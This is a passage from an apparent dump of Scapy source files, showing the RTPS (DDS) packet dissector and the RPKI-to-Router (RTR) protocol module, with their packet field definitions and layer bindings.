  0x4014: PID_DOMAIN_TAG,\n    0x8000: PID_PRODUCT_VERSION,\n    0x8001: PID_PLUGIN_PROMISCUITY_KIND,\n    0x800f: PID_RTI_DOMAIN_ID,\n    0x8010: PID_TRANSPORT_INFO_LIST,\n    0x8016: PID_REACHABILITY_LEASE_DURATION,\n    0x8017: PID_VENDOR_BUILTIN_ENDPOINT_SET\n}\n\n\ndef get_pid_class(pkt, lst, cur, remain):\n\n    endianness = getattr(pkt, \"endianness\", None)\n\n    _id = struct.unpack(endianness + \"h\", remain[0:2])[0]\n\n    if _id == 0x0001:\n        return None\n\n    _id = _id & 0xffff\n\n    next_cls = _RTPSParameterIdTypes.get(_id, PID_UNKNOWN)\n\n    next_cls.endianness = endianness\n\n    return next_cls\n\n\nclass ParameterListPacket(EPacket):\n    name = \"PID list\"\n    fields_desc = [\n        PacketListField(\"parameterValues\", [], next_cls_cb=get_pid_class),\n        PacketField(\"sentinel\", \"\", PID_SENTINEL),\n    ]\n"
  },
  {
    "path": "scapy/contrib/rtps/rtps.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2021 Trend Micro Incorporated\n# Copyright (C) 2021 Alias Robotics S.L.\n\n\"\"\"\nReal-Time Publish-Subscribe Protocol (RTPS) dissection\n\"\"\"\n\n# scapy.contrib.description = RTPS abstractions\n# scapy.contrib.status = library\n\nimport struct\n\nfrom scapy.fields import (\n    ConditionalField,\n    IntField,\n    PacketField,\n    PacketListField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    X3BytesField,\n    XByteField,\n    XIntField,\n    XNBytesField,\n    XShortField,\n    XStrLenField,\n    FlagsField,\n    Field,\n    EnumField,\n)\nfrom scapy.packet import Packet, bind_layers\n\nfrom scapy.contrib.rtps.common_types import (\n    EField,\n    EPacket,\n    EPacketField,\n    InlineQoSPacketField,\n    ProtocolVersionPacket,\n    DataPacketField,\n    STR_MAX_LEN,\n    SerializedDataField,\n    VendorIdPacket,\n    e_flags,\n)\nfrom scapy.contrib.rtps.pid_types import (\n    ParameterListPacket,\n    get_pid_class,\n    PID_SENTINEL\n)\n\n\n_rtps_reserved_entity_ids = {\n    b\"\\x00\\x00\\x00\\x00\": \"ENTITY_UNKNOWN\",\n    b\"\\x00\\x00\\x01\\xc1\": \"ENTITYID_PARTICIPANT\",\n    b\"\\x00\\x00\\x02\\xc2\": \"ENTITYID_SEDP_BUILTIN_TOPIC_WRITER\",\n    b\"\\x00\\x00\\x02\\xc7\": \"ENTITYID_SEDP_BUILTIN_TOPIC_READER\",\n    b\"\\x00\\x00\\x03\\xc2\": \"ENTITYID_SEDP_BUILTIN_PUBLICATIONS_WRITER\",\n    b\"\\x00\\x00\\x03\\xc7\": \"ENTITYID_SEDP_BUILTIN_PUBLICATIONS_READER\",\n    b\"\\x00\\x00\\x04\\xc2\": \"ENTITYID_SEDP_BUILTIN_SUBSCRIPTIONS_WRITER\",\n    b\"\\x00\\x00\\x04\\xc7\": \"ENTITYID_SEDP_BUILTIN_SUBSCRIPTIONS_READER\",\n    b\"\\x00\\x01\\x00\\xc2\": \"ENTITYID_SPDP_BUILTIN_PARTICIPANT_WRITER\",\n    b\"\\x00\\x01\\x00\\xc7\": \"ENTITYID_SPDP_BUILTIN_PARTICIPANT_READER\",\n    b\"\\x00\\x02\\x00\\xc2\": \"ENTITYID_P2P_BUILTIN_PARTICIPANT_MESSAGE_WRITER\",\n    b\"\\x00\\x02\\x00\\xc7\": \"ENTITYID_P2P_BUILTIN_PARTICIPANT_MESSAGE_READER\",\n}\n\n\nclass GUIDPrefixPacket(Packet):\n    name = \"RTPS GUID Prefix\"\n    fields_desc = [\n        XIntField(\"hostId\", 0),\n        XIntField(\"appId\", 0),\n        XIntField(\"instanceId\", 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass RTPS(Packet):\n    \"\"\"\n    RTPS package, overall structure as per DDSI-RTPS v2.3, section 9.4.1\n    The structure is also discussed at 8.3.3.\n\n    The wire representation (bits) is as follows:\n\n        0...2...........7...............15.............23.............. 31\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        | Header (RTPSHeader)                                           |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        | Submessage  (RTPSSubmessage)                                  |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        .................................................................\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        | Submessage                                                    |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    For representation purposes, this package will only contain the header\n    and other submessages will be bound as layers (bind_layers):\n\n    RTPS Header structure as per DDSI-RTPS v2.3, section 9.4.4\n    The wire representation (bits) is as follows:\n\n        0...2...........7...............15.............23...............31\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |      'R'      |       'T'     |      'P'      |       'S'     |\n        +---------------+---------------+---------------+---------------+\n        | ProtocolVersion version       | VendorId vendorId             |\n        +---------------+---------------+---------------+---------------+\n        |                                                               |\n        +                                                               +\n        |                 GuidPrefix      guidPrefix                    |\n        +                                                               +\n        |                                                               |\n        +---------------+---------------+---------------+---------------+\n\n    References:\n\n    * https://community.rti.com/static/documentation/wireshark/current/doc/understanding_rtps.html # noqa E501\n    * https://www.omg.org/spec/DDSI-RTPS/2.3/PDF\n    * https://www.wireshark.org/docs/dfref/r/rtps.html\n    \"\"\"\n\n    name = \"RTPS Header\"\n    fields_desc = [\n        StrFixedLenField(\"magic\", b\"\", 4),\n        PacketField(\n            \"protocolVersion\", ProtocolVersionPacket(), ProtocolVersionPacket),\n        PacketField(\n            \"vendorId\", VendorIdPacket(), VendorIdPacket),\n        PacketField(\n            \"guidPrefix\", GUIDPrefixPacket(), GUIDPrefixPacket),\n    ]\n\n\nclass InlineQoSPacket(EPacket):\n    name = \"Inline QoS\"\n\n    fields_desc = [\n        PacketListField(\"parameters\", [], next_cls_cb=get_pid_class),\n        PacketField(\"sentinel\", \"\", PID_SENTINEL),\n    ]\n\n\nclass ParticipantMessageDataPacket(EPacket):\n    name = \"Participant Message Data\"\n    fields_desc = [\n        PacketField(\"guidPrefix\", \"\", GUIDPrefixPacket),\n        XIntField(\"kind\", 0),\n        EField(XIntField(\"sequenceSize\", 0),\n               endianness_from=e_flags),  # octets\n        StrLenField(\n            \"serializedData\",\n            \"\",\n            length_from=lambda x: x.sequenceSize * 4,\n            max_length=STR_MAX_LEN,\n        ),\n    ]\n\n\nclass DataPacket(EPacket):\n    name = \"Data Packet\"\n    _pl_type = None\n    _pl_len = 0\n\n    fields_desc = [\n        XShortField(\"encapsulationKind\", 0),\n        XShortField(\"encapsulationOptions\", 0),\n        # if payload encoding == PL_CDR_{LE,BE} then parameter list\n        ConditionalField(\n            EPacketField(\"parameterList\", \"\", ParameterListPacket),\n            lambda pkt: pkt.encapsulationKind == 0x0003,\n        ),\n        # if writer entity id == 0x200c2: then participant message data\n        ConditionalField(\n            EPacketField(\n                \"participantMessageData\", \"\", ParticipantMessageDataPacket),\n            lambda pkt: pkt._pl_type == \"ParticipantMessageData\",\n        ),\n        # else (neither the cases)\n        ConditionalField(\n            SerializedDataField(\n                \"serializedData\", \"\", length_from=lambda pkt: pkt._pl_len\n            ),\n            lambda pkt: (\n                pkt.encapsulationKind != 0x0003 \\\n                and pkt._pl_type != \"ParticipantMessageData\"\n            ),\n        ),\n    ]\n\n    def __init__(self, *args, **kwargs):\n        writer_entity_id_key = kwargs.pop(\"writer_entity_id_key\", None)\n        writer_entity_id_kind = kwargs.pop(\"writer_entity_id_kind\", None)\n        pl_len = kwargs.pop(\"pl_len\", 0)\n        if (writer_entity_id_key == 0x200 or writer_entity_id_key == 0x100) and \\\n                writer_entity_id_kind == 0xC2:\n            DataPacket._pl_type = \"ParticipantMessageData\"\n        else:\n            DataPacket._pl_type = \"SerializedData\"\n\n        DataPacket._pl_len = pl_len\n\n        super(DataPacket, self).__init__(*args, **kwargs)\n\n\nclass RTPSSubMessage_DATA(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    | RTPS_DATA     |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    | Flags extraFlags              |      octetsToInlineQos        |\n    +---------------+---------------+---------------+---------------+\n    | EntityId readerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    | EntityId writerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + SequenceNumber writerSeqNum                                   +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    ~ ParameterList inlineQos [only if Q==1]                        ~\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    ~ SerializedData serializedData [only if D==1 || K==1]          ~\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS DATA (0x15)\"\n    fields_desc = [\n        XByteField(\"submessageId\", 0x15),\n        XByteField(\"submessageFlags\", 0x00),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n        XNBytesField(\"extraFlags\", 0x0000, 2),\n        EField(ShortField(\"octetsToInlineQoS\", 0),\n               endianness_from=e_flags),\n        X3BytesField(\"readerEntityIdKey\", 0),\n        XByteField(\"readerEntityIdKind\", 0),\n        X3BytesField(\"writerEntityIdKey\", 0),\n        XByteField(\"writerEntityIdKind\", 0),\n        # EnumField(\n        #     \"reader_id\",\n        #     default=b\"\\x00\\x00\\x00\\x00\",\n        #     fmt=\"4s\",\n        #     enum=_rtps_reserved_entity_ids,\n        # ),\n        # EnumField(\n        #     \"writer_id\",\n        #     default=b\"\\x00\\x00\\x00\\x00\",\n        #     fmt=\"4s\",\n        #     enum=_rtps_reserved_entity_ids,\n        # ),\n        EField(IntField(\"writerSeqNumHi\", 0),\n               endianness_from=e_flags),\n        EField(IntField(\"writerSeqNumLow\", 0),\n               endianness_from=e_flags),\n        # -------------------------------------\n        ConditionalField(\n            InlineQoSPacketField(\"inlineQoS\", \"\", InlineQoSPacket),\n            lambda pkt: pkt.submessageFlags & 0b00000010 == 0b00000010,\n        ),\n        ConditionalField(\n            DataPacketField(\"key\", \"\", DataPacket,\n                            endianness_from=e_flags),\n            lambda pkt: pkt.submessageFlags & 0b00001000 == 0b00001000,\n        ),\n        ConditionalField(\n            DataPacketField(\"data\", \"\", DataPacket,\n                            endianness_from=e_flags),\n            lambda pkt: pkt.submessageFlags & 0b00000100 == 0b00000100,\n        ),\n    ]\n\n\nclass RTPSSubMessage_INFO_TS(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |   INFO_TS     |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + Timestamp timestamp [only if T==1]                            +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS INFO_TS (0x09)\"\n    fields_desc = [\n        XByteField(\"submessageId\", 0x09),\n        FlagsField(\n            \"submessageFlags\", 0, 8,\n            [\"E\", \"I\", \"?\", \"?\", \"?\", \"?\", \"?\", \"?\"]),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n        ConditionalField(\n            Field(\"ts_seconds\", default=0, fmt=\"<l\"),\n            lambda pkt: str(pkt.submessageFlags).find(\"I\"),\n        ),\n        ConditionalField(\n            Field(\"ts_fraction\", default=0, fmt=\"<L\"),\n            lambda pkt: str(pkt.submessageFlags).find(\"I\"),\n        ),\n    ]\n\n\nclass RTPSSubMessage_ACKNACK(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |   ACKNACK     |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    | EntityId readerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    | EntityId writerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + SequenceNumberSet readerSNState                               +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    | Counter count                                                 |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS ACKNACK (0x06)\"\n    fields_desc = [\n        XByteField(\"submessageId\", 0x06),\n        XByteField(\"submessageFlags\", 0x00),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n        EnumField(\n            \"reader_id\",\n            default=b\"\\x00\\x00\\x00\\x00\",\n            fmt=\"4s\",\n            enum=_rtps_reserved_entity_ids,\n        ),\n        EnumField(\n            \"writer_id\",\n            default=b\"\\x00\\x00\\x00\\x00\",\n            fmt=\"4s\",\n            enum=_rtps_reserved_entity_ids,\n        ),\n        XStrLenField(\n            \"readerSNState\",\n            0, length_from=lambda pkt: pkt.octetsToNextHeader - 8 - 4\n        ),\n        EField(IntField(\"count\", 0),\n               endianness_from=e_flags),\n    ]\n\n\nclass RTPSSubMessage_HEARTBEAT(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |   HEARTBEAT   |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    | EntityId readerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    | EntityId writerEntityId                                       |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + SequenceNumber firstAvailableSeqNumber                        +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + SequenceNumber lastSeqNumber                                  +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    | Counter count                                                 |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS HEARTBEAT (0x07)\"\n    fields_desc = [\n        XByteField(\"submessageId\", 0x07),\n        XByteField(\"submessageFlags\", 0),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n        EnumField(\n            \"reader_id\",\n            default=b\"\\x00\\x00\\x00\\x00\",\n            fmt=\"4s\",\n            enum=_rtps_reserved_entity_ids,\n        ),\n        EnumField(\n            \"writer_id\",\n            default=b\"\\x00\\x00\\x00\\x00\",\n            fmt=\"4s\",\n            enum=_rtps_reserved_entity_ids,\n        ),\n        EField(IntField(\"firstAvailableSeqNumHi\", 0),\n               endianness_from=e_flags),\n        EField(IntField(\"firstAvailableSeqNumLow\", 0),\n               endianness_from=e_flags),\n        EField(IntField(\"lastSeqNumHi\", 0),\n               endianness_from=e_flags),\n        EField(IntField(\"lastSeqNumLow\", 0),\n               endianness_from=e_flags),\n        EField(IntField(\"count\", 0),\n               endianness_from=e_flags),\n    ]\n\n\nclass RTPSSubMessage_INFO_DST(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |   INFO_DST    |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    |                                                               |\n    + GuidPrefix guidPrefix                                         +\n    |                                                               |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS INFO_DTS (0x0e)\"\n    endianness = \">\"\n\n    fields_desc = [\n        XByteField(\"submessageId\", 0x0E),\n        XByteField(\"submessageFlags\", 0),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n        PacketField(\"guidPrefix\", \"\", GUIDPrefixPacket),\n    ]\n\n\nclass RTPSSubMessage_PAD(EPacket):\n    \"\"\"\n    0...2...........7...............15.............23...............31\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |   PAD         |     flags     |      octetsToNextHeader       |\n    +---------------+---------------+---------------+---------------+\n    \"\"\"\n\n    name = \"RTPS PAD (0x01)\"\n    fields_desc = [\n        XByteField(\"submessageId\", 0x01),\n        XByteField(\"submessageFlags\", 0),\n        EField(ShortField(\"octetsToNextHeader\", 0),\n               endianness_from=e_flags),\n    ]\n\n\nclass RTPSSubMessage_DATA_FRAG(EPacket):\n    name = \"RTPS DATA_FRAG (0x16)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_SEC_PREFIX(EPacket):\n    name = \"RTPS SEC_PREFIX (0x31)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_SEC_POSTFIX(EPacket):\n    name = \"RTPS SEC_POSTFIX (0x32)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_SEC_BODY(EPacket):\n    name = \"RTPS SEC_BODY (0x30)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_SRTPS_PREFIX(EPacket):\n    name = \"RTPS SRPTS_PREFIX (0x33)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_SRTPS_POSTFIX(EPacket):\n    name = \"RTPS SRPTS_POSTFIX (0x34)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\nclass RTPSSubMessage_GAP(EPacket):\n    name = \"RTPS GAP (0x08)\"\n    fields_desc = [StrField(\"uninterpreted_data\", 0)]\n\n\n_RTPSSubMessageTypes = {\n    0x01: RTPSSubMessage_PAD,\n    0x06: RTPSSubMessage_ACKNACK,\n    0x07: RTPSSubMessage_HEARTBEAT,\n    0x09: RTPSSubMessage_INFO_TS,\n    0x0E: RTPSSubMessage_INFO_DST,\n    0x15: RTPSSubMessage_DATA,\n    # ----------------------------\n    0x16: RTPSSubMessage_DATA_FRAG,\n    0x31: RTPSSubMessage_SEC_PREFIX,\n    0x32: RTPSSubMessage_SEC_POSTFIX,\n    0x30: RTPSSubMessage_SEC_BODY,\n    0x33: RTPSSubMessage_SRTPS_PREFIX,\n    0x34: RTPSSubMessage_SRTPS_POSTFIX,\n    0x08: RTPSSubMessage_GAP,\n}\n\n\ndef _next_cls_cb(pkt, lst, p, remain):\n    sm_id = struct.unpack(\"!b\", remain[0:1])[0]\n    next_cls = _RTPSSubMessageTypes.get(sm_id, None)\n\n    return next_cls\n\n\nclass RTPSMessage(Packet):\n    name = \"RTPS Message\"\n    fields_desc = [\n        PacketListField(\"submessages\", [], next_cls_cb=_next_cls_cb)\n    ]\n\n\nbind_layers(RTPS, RTPSMessage, magic=b\"RTPS\")\nbind_layers(RTPS, RTPSMessage, magic=b\"RTPX\")\n"
  },
  {
    "path": "scapy/contrib/rtr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2018 Francois Contat <francois.contat@ssi.gouv.fr>\n\n\"\"\"\nRTR\n\nBased on RTR RFC 6810 https://tools.ietf.org/html/rfc6810 for version 0\nBased on RTR RFC 8210 https://tools.ietf.org/html/rfc8210 for version 1\n\"\"\"\n\n# scapy.contrib.description = The RPKI to Router Protocol\n# scapy.contrib.status = loads\n\n# Start dev\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers, Raw\nfrom scapy.fields import ByteEnumField, ByteField, IntField, ShortField\nfrom scapy.fields import IPField, IP6Field, StrLenField\nfrom scapy.fields import FieldLenField\nfrom scapy.fields import StrFixedLenField, ShortEnumField\nfrom scapy.layers.inet import TCP\nfrom scapy.compat import orb\n\nSTATIC_SERIAL_NOTIFY_LENGTH = 12\nSTATIC_SERIAL_QUERY_LENGTH = 12\nSTATIC_RESET_QUERY_LENGTH = 8\nSTATIC_CACHE_RESET_LENGTH = 8\nSTATIC_CACHE_RESPONSE_LENGTH = 8\nSTATIC_IPV4_PREFIX_LENGTH = 20\nSTATIC_IPV6_PREFIX_LENGTH = 32\nSTATIC_END_OF_DATA_V0_LENGTH = 12\nSTATIC_END_OF_DATA_V1_LENGTH = 24\n\nRTR_VERSION = {0: '0',\n               1: '1'}\n\nPDU_TYPE = {0: 'Serial Notify',\n            1: 'Serial Query',\n            2: 'Reset Query',\n            3: 'Cache Response',\n            4: 'IPv4 Prefix',\n            6: 'IPv6 Prefix',\n            7: 'End of Data',\n            8: 'Cache Reset',\n            9: 'Router Key',\n            10: 'Error Report',\n            255: 'Reserved'}\n\nERROR_LIST = {0: 'Corrupt Data',\n              1: 'Internal Error',\n              2: 'No data Available',\n              3: 'Invalid Request',\n              4: 'Unsupported Protocol Version',\n              5: 'Unsupported PDU Type',\n              6: 'Withdrawal of Unknown Record',\n              7: 'Duplicate Announcement Received',\n              8: 'Unexpected Protocol Version'}\n\n\nclass RTRSerialNotify(Packet):\n\n    '''\n\n    Serial Notify packet from section 5.2\n    https://tools.ietf.org/html/rfc6810#section-5.2\n\n    '''\n\n    name = 'Serial Notify'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 0, PDU_TYPE),\n                   ShortField('session_id', 0),\n                   IntField('length', STATIC_SERIAL_NOTIFY_LENGTH),\n                   IntField('serial_number', 0)]\n\n\nclass RTRSerialQuery(Packet):\n\n    '''\n\n    Serial Query packet from section 5.3\n    https://tools.ietf.org/html/rfc6810#section-5.3\n\n    '''\n    name = 'Serial Query'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 1, PDU_TYPE),\n                   ShortField('session_id', 0),\n                   IntField('length', STATIC_SERIAL_QUERY_LENGTH),\n                   IntField('serial_number', 0)]\n\n\nclass RTRResetQuery(Packet):\n\n    '''\n\n    Reset Query packet from section 5.4\n    https://tools.ietf.org/html/rfc6810#section-5.4\n\n    '''\n    name = 'Reset Query'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 2, PDU_TYPE),\n                   ShortField('reserved', 0),\n                   IntField('length', STATIC_RESET_QUERY_LENGTH)]\n\n\nclass RTRCacheResponse(Packet):\n\n    '''\n\n    Cache Response packet from section 5.5\n    https://tools.ietf.org/html/rfc6810#section-5.5\n\n    '''\n    name = 'Cache Response'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 3, PDU_TYPE),\n                   ShortField('session_id', 0),\n                   IntField('length', STATIC_CACHE_RESPONSE_LENGTH)]\n\n    def guess_payload_class(self, payload):\n        return RTR\n\n\nclass RTRIPv4Prefix(Packet):\n\n    '''\n\n    IPv4 Prefix packet from section 5.6\n    https://tools.ietf.org/html/rfc6810#section-5.6\n\n    '''\n    name = 'IPv4 Prefix'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 4, PDU_TYPE),\n                   ShortField('reserved', 0),\n                   IntField('length', STATIC_IPV4_PREFIX_LENGTH),\n                   ByteField('flags', 0),\n                   ByteField('shortest_length', 0),\n                   ByteField('longest_length', 0),\n                   ByteField('zeros', 0),\n                   IPField('prefix', '0.0.0.0'),\n                   IntField('asn', 0)]\n\n    def guess_payload_class(self, payload):\n        return RTR\n\n\nclass RTRIPv6Prefix(Packet):\n\n    '''\n\n    IPv6 Prefix packet from section 5.7\n    https://tools.ietf.org/html/rfc6810#section-5.7\n\n    '''\n    name = 'IPv6 Prefix'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 6, PDU_TYPE),\n                   ShortField('reserved', 0),\n                   IntField('length', STATIC_IPV6_PREFIX_LENGTH),\n                   ByteField('flags', 0),\n                   ByteField('shortest_length', 0),\n                   ByteField('longest_length', 0),\n                   ByteField('zeros', 0),\n                   IP6Field(\"prefix\", \"::\"),\n                   IntField('asn', 0)]\n\n    def guess_payload_class(self, payload):\n        return RTR\n\n\nclass RTREndofDatav0(Packet):\n\n    '''\n\n    End of Data packet from version 0 standard section 5.8\n    https://tools.ietf.org/html/rfc6810#section-5.8\n\n    '''\n    name = 'End of Data - version 0'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 7, PDU_TYPE),\n                   ShortField('session_id', 0),\n                   IntField('length', STATIC_END_OF_DATA_V0_LENGTH),\n                   IntField('serial_number', 0)]\n\n\nclass RTREndofDatav1(Packet):\n\n    '''\n\n    End of Data packet from version 1 standard section 5.8\n    https://tools.ietf.org/html/rfc8210#section-5.8\n\n    '''\n    name = 'End of Data - version 1'\n    fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION),\n                   ByteEnumField('pdu_type', 7, PDU_TYPE),\n                   ShortField('session_id', 0),\n                   IntField('length', STATIC_END_OF_DATA_V1_LENGTH),\n                   IntField('serial_number', 0),\n                   IntField('refresh_interval', 0),\n                   IntField('retry_interval', 0),\n                   IntField('expire_interval', 0)]\n\n\nclass RTRCacheReset(Packet):\n\n    '''\n\n    Cache Reset packet from section 5.9\n    https://tools.ietf.org/html/rfc6810#section-5.9\n\n    '''\n    name = 'Reset Query'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 8, PDU_TYPE),\n                   ShortField('reserved', 0),\n                   IntField('length', STATIC_CACHE_RESET_LENGTH)]\n\n\nclass RTRRouterKey(Packet):\n\n    '''\n\n    Router Key packet from version 1 standard section 5.10\n    https://tools.ietf.org/html/rfc8210#section-5.10\n\n    '''\n    name = 'Router Key'\n    fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION),\n                   ByteEnumField('pdu_type', 9, PDU_TYPE),\n                   ByteField('flags', 0),\n                   ByteField('zeros', 0),\n                   IntField('length', None),\n                   StrFixedLenField('subject_key_identifier', '', 20),\n                   IntField('asn', 0),\n                   StrLenField('subject_PKI', '',\n                               length_from=lambda x: x.length - 32)]\n\n    def post_build(self, pkt, pay):\n        temp_len = len(pkt) + 2\n        if not self.length:\n            pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:]\n        return pkt + pay\n\n\nclass RTRErrorReport(Packet):\n\n    '''\n\n    Error Report packet from section 5.10\n    https://tools.ietf.org/html/rfc6810#section-5.10\n\n    '''\n    name = 'Error Report'\n    fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION),\n                   ByteEnumField('pdu_type', 10, PDU_TYPE),\n                   ShortEnumField('error_code', 0, ERROR_LIST),\n                   IntField('length', None),\n                   FieldLenField('length_of_encaps_PDU',\n                                 None, fmt='!I', length_of='erroneous_PDU'),\n                   StrLenField('erroneous_PDU', '',\n                               length_from=lambda x: x.length_of_encaps_PDU),\n                   FieldLenField('length_of_error_text', None, fmt='!I',\n                                 length_of='error_text'),\n                   StrLenField('error_text', '',\n                               length_from=lambda x: x.length_of_error_text)]\n\n    def post_build(self, pkt, pay):\n        temp_len = len(pkt) + 2\n        if not self.length:\n            pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:]\n        return pkt + pay\n\n\nPDU_CLASS_VERSION_0 = {0: RTRSerialNotify,\n                       1: RTRSerialQuery,\n                       2: RTRResetQuery,\n                       3: RTRCacheResponse,\n                       4: RTRIPv4Prefix,\n                       6: RTRIPv6Prefix,\n                       7: RTREndofDatav0,\n                       8: RTRCacheReset,\n                       10: RTRErrorReport}\n\nPDU_CLASS_VERSION_1 = {0: RTRSerialNotify,\n                       1: RTRSerialQuery,\n                       2: RTRResetQuery,\n                       3: RTRCacheResponse,\n                       4: RTRIPv4Prefix,\n                       6: RTRIPv6Prefix,\n                       7: RTREndofDatav1,\n                       8: RTRCacheReset,\n                       9: RTRRouterKey,\n                       10: RTRErrorReport}\n\n\nclass RTR(Packet):\n\n    '''\n    Dummy RPKI to Router generic packet for pre-sorting the packet type\n    eg. https://tools.ietf.org/html/rfc6810#section-5.2\n\n    '''\n    name = 'RTR dissector'\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        '''\n          Attribution of correct type depending on version and pdu_type\n        '''\n        if _pkt and len(_pkt) >= 2:\n            version = orb(_pkt[0])\n            pdu_type = orb(_pkt[1])\n            if version == 0:\n                return PDU_CLASS_VERSION_0[pdu_type]\n            elif version == 1:\n                return PDU_CLASS_VERSION_1[pdu_type]\n        return Raw\n\n\nbind_layers(TCP, RTR, dport=323)  # real reserved port\nbind_layers(TCP, RTR, sport=323)  # real reserved port\nbind_layers(TCP, RTR, dport=8282)  # RIPE implementation default port\nbind_layers(TCP, RTR, sport=8282)  # RIPE implementation default port\nbind_layers(TCP, RTR, dport=2222)  # gortr implementation default port\nbind_layers(TCP, RTR, sport=2222)  # gortr implementation default port\n\nif __name__ == '__main__':\n    from scapy.main import interact\n    interact(mydict=globals(), mybanner='RPKI to Router')\n"
  },
  {
    "path": "scapy/contrib/rtsp.py",
